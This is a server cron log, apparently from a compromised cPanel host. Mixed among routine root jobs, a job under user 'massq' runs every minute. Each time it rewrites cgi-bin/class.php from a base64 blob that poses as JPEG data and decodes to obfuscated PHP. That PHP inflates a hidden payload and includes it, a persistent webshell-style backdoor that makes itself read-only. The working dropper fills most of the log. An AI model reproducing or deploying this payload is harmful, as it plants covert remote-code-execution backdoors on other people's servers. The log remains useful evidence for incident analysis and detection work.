Nov  9 18:13:01 server CROND[2225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:14:01 server CROND[3267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:15:01 server CROND[4087]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:15:01 server CROND[4089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:15:01 server CROND[4093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:15:01 server CROND[4092]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:15:01 server CROND[4091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:16:01 server CROND[4934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:17:01 server CROND[5119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:18:01 server CROND[5777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:19:02 server CROND[6200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:20:01 server CROND[7014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:20:01 server CROND[7015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 18:20:01 server CROND[7013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:20:01 server CROND[7012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:20:01 server CROND[7011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:21:01 server CROND[7841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:22:01 server CROND[8452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:23:01 server CROND[9170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:24:01 server CROND[10016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:25:01 server CROND[10929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:25:01 server CROND[10930]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:25:01 server CROND[10933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:25:01 server CROND[10932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
